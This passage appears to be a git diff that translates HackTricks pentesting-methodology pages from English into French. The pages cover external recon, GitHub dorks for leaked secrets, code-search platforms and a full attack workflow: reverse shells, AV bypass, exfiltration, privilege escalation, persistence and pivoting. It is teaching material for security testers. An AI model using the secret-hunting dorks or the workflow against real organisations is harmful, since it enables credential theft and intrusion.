%} -[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md) -{% endcontent-ref %} - -There are also free services that allow you to **scan public repositories**, such as: - -* [**Snyk**](https://app.snyk.io/) - -## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) - -The **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../../network-services-pentesting/pentesting-web/). - -I also want to do a special mention to the section [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), as, if you shouldn't expect them to find you very sensitive vulnerabilities, they come handy to implement them on **workflows to have some initial web information.** - -## Recapitulation - -> Congratulations! At this point you have already perform **all the basic enumeration**. Yes, it's basic because a lot more enumeration can be done (will see more tricks later). - -So you have already: - -1. Found all the **companies** inside the scope -2. Found all the **assets** belonging to the companies (and perform some vuln scan if in scope) -3. Found all the **domains** belonging to the companies -4. Found all the **subdomains** of the domains (any subdomain takeover?) -5. Found all the **IPs** (from and **not from CDNs**) inside the scope. -6. Found all the **web servers** and took a **screenshot** of them (anything weird worth a deeper look?) -7. Found all the **potential public cloud assets** belonging to the company. -8. **Emails**, **credentials leaks**, and **secret leaks** that could give you a **big win very easily**. -9. **Pentesting all the webs you found** - -## **Full Recon Automatic Tools** - -There are several tools out there that will perform part of the proposed actions against a given scope. - -* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) -* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) -* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) -* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - A little old and not updated - -## **References** - -* **All free courses of** [**@Jhaddix**](https://twitter.com/Jhaddix) **(like** [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)**)** - -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+### **Recherche de vuln diff --git a/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md b/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md index bd20d4b8d..69fed2ec4 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md +++ b/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md @@ -1,25 +1,25 @@ -# Github Dorks & Leaks +# Github Dorks & Fuites
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**Astuce de prime de bug** : **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des pirates, pour les pirates ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! {% embed url="https://go.intigriti.com/hacktricks" %} -Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits. +Maintenant que nous avons construit la liste des actifs de notre portée, il est temps de chercher des fruits bas de gamme OSINT. -### Api keys leaks in github +### Fuites de clés API sur Github * [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) * [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit) @@ -32,7 +32,6 @@ Now that we have built the list of assets of our scope it's time to search for s * [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ### **Dorks** - ```bash ".mlab.com password" "access_key" @@ -314,15 +313,14 @@ GCP SECRET AWS SECRET "private" extension:pgp ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 2354ac692..ad0540f78 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -1,39 +1,39 @@ -# Wide Source Code Search +# Recherche étendue de code source
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-The goal of this page is to enumerate **platforms that allow to search for code** (literal or regex) in across thousands/millions of repos in one or more platforms. +Le but de cette page est d'énumérer les **plateformes qui permettent de rechercher du code** (littéral ou regex) dans des milliers/millions de dépôts sur une ou plusieurs plateformes. -This helps in several occasions to **search for leaked information** or for **vulnerabilities** patterns. +Cela aide dans plusieurs occasions à **rechercher des informations divulguées** ou des **modèles de vulnérabilités**. -* [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes. -* [**Github Search**](https://github.com/search): Search across Github. It supports regexes. - * Maybe it's also useful to check also [**Github Code Search**](https://cs.github.com/). -* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Search across Gitlab projects. Support regexes. -* [**SearchCode**](https://searchcode.com/): Search code in millions of projects. +* [**SourceGraph**](https://sourcegraph.com/search) : Recherche dans des millions de dépôts. Il existe une version gratuite et une version entreprise (avec 15 jours gratuits). Il prend en charge les regex. +* [**Github Search**](https://github.com/search) : Recherche sur Github. Il prend en charge les regex. + * Il peut également être utile de vérifier également [**Github Code Search**](https://cs.github.com/). +* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html) : Recherche dans les projets Gitlab. Supporte les regex. +* [**SearchCode**](https://searchcode.com/) : Recherche de code dans des millions de projets. {% hint style="warning" %} -When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +Lorsque vous recherchez des fuites dans un dépôt et que vous exécutez quelque chose comme `git log -p`, n'oubliez pas qu'il peut y avoir **d'autres branches avec d'autres commits** contenant des secrets ! {% endhint %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index 602ce4bd8..9941a7c59 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -1,176 +1,16 @@ --- description: >- - This is the main page. Here you can find the typical workflow for the - pentesting of a machine + Ceci est la page principale. Ici, vous pouvez trouver le flux de travail typique pour le pentesting d'une machine --- -# Pentesting Methodology +# Méthodologie de Pentesting
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
- -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!\\ - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## Pentesting Methodology - -
- -_Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ - -### 0- Physical Attacks - -Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](../physical-attacks/physical-attacks.md) and others about [**escaping from GUI applications**](../physical-attacks/escaping-from-gui-applications/). - -### 1 - [Discovering hosts inside the network ](pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) - -**Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test). - -{% hint style="info" %} -Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide. -{% endhint %} - -### **2-** [**Having Fun with the network**](pentesting-network/) **(Internal)** - -**This section only applies if you are performing an internal test.**\ -Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting-network/#sniffing). - -### 3- [Port Scan - Service discovery](pentesting-network/#scanning-hosts) - -The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting-network/#scanning-hosts). - -### **4-** [Searching service version exploits](search-exploits.md) - -Once you know which services are running, and maybe their version, you have to **search for known vulnerabilities**. Maybe you get lucky and there is a exploit to give you a shell... - -### **5-** Pentesting Services - -If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.** - -**Inside this book you will find a guide to pentest the most common services** (and others that aren't so common)**. Please, search in the left index the** _**PENTESTING**_ **section** (the services are ordered by their default ports). - -**I want to make a special mention of the** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **part (as it is the most extensive one).**\ -Also, a small guide on how to[ **find known vulnerabilities in software**](search-exploits.md) can be found here. - -**If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any). - -#### 5.1 Automatic Tools - -There are also several tools that can perform **automatic vulnerabilities assessments**. **I would recommend you to try** [**Legion**](https://github.com/carlospolop/legion)**, which is the tool that I have created and it's based on the notes about pentesting services that you can find in this book.** - -#### **5.2 Brute-Forcing services** - -In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](brute-force.md)**.** - -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!\\ - -{% embed url="https://go.intigriti.com/hacktricks" %} - -### 6- [Phishing](phishing-methodology/) - -If at this point you haven't found any interesting vulnerability you **may need to try some phishing** in order to get inside the network. You can read my phishing methodology [here](phishing-methodology/): - -### **7-** [**Getting Shell**](shells/) - -Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](shells/). - -Specially in Windows you could need some help to **avoid antiviruses**: [**Check this page**](../windows-hardening/av-bypass.md/)**.**\ - -### 8- Inside - -If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters: - -* [**Linux**](../linux-hardening/useful-linux-commands/) -* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) -* [**Winodows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) - -### **9 -** [**Exfiltration**](exfiltration.md) - -You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](exfiltration.md)**.** - -### **10- Privilege Escalation** - -#### **10.1- Local Privesc** - -If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\ -Here you can find a **guide to escalate privileges locally in** [**Linux**](../linux-hardening/privilege-escalation/) **and in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ -You should also check this pages about how does **Windows work**: - -* [**Authentication, Credentials, Token privileges and UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md) -* How does [**NTLM works**](../windows-hardening/ntlm/) -* How to [**steal credentials**](broken-reference/) in Windows -* Some tricks about [_**Active Directory**_](../windows-hardening/active-directory-methodology/) - -**Don't forget to checkout the best tools to enumerate Windows and Linux local Privilege Escalation paths:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) - -#### **10.2- Domain Privesc** - -Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](../windows-hardening/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment. - -### 11 - POST - -#### **11**.1 - Looting - -Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\ -Find here different ways to [**dump passwords in Windows**](broken-reference/). - -#### 11.2 - Persistence - -**Use 2 o 3 different types of persistence mechanism so you won't need to exploit the system again.**\ -**Here you can find some** [**persistence tricks on active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** - -TODO: Complete persistence Post in Windows & Linux - -### 12 - Pivoting - -With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\ -In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](tunneling-and-port-forwarding.md).\ -You definitely should also check the post about [Active Directory pentesting Methodology](../windows-hardening/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\ -Check also the page about [**NTLM**](../windows-hardening/ntlm/), it could be very useful to pivot on Windows environments.. - -### MORE - -#### [Android Applications](../mobile-pentesting/android-app-pentesting/) - -#### **Exploiting** - -* [**Basic Linux Exploiting**](../exploiting/linux-exploiting-basic-esp/) -* [**Basic Windows Exploiting**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md) -* [**Basic exploiting tools**](../exploiting/tools/) - -#### [**Basic Python**](python/) - -#### **Crypto tricks** - -* [**ECB**](../cryptography/electronic-code-book-ecb.md) -* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md) -* [**Padding Oracle**](../cryptography/padding-oracle-priv.md) - -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hack diff --git a/generic-methodologies-and-resources/pentesting-network/README.md b/generic-methodologies-and-resources/pentesting-network/README.md index 9edaa1d93..ab5fa1b83 100644 --- a/generic-methodologies-and-resources/pentesting-network/README.md +++ b/generic-methodologies-and-resources/pentesting-network/README.md @@ -4,91 +4,80 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**Astuce de prime de bug** : **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des pirates, pour les pirates ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** ! {% embed url="https://go.intigriti.com/hacktricks" %} -## Discovering hosts from the outside +## Découverte des hôtes depuis l'extérieur -This is going to be a **brief section** about how to find **IPs responding** from the **Internet**.\ -In this situation you have some **scope of IPs** (maybe even several **ranges**) and you just to find **which IPs are responding**. +Il s'agit d'une **brève section** sur la façon de trouver les **adresses IP répondant** depuis **Internet**.\ +Dans cette situation, vous avez une certaine **étendue d'adresses IP** (peut-être même plusieurs 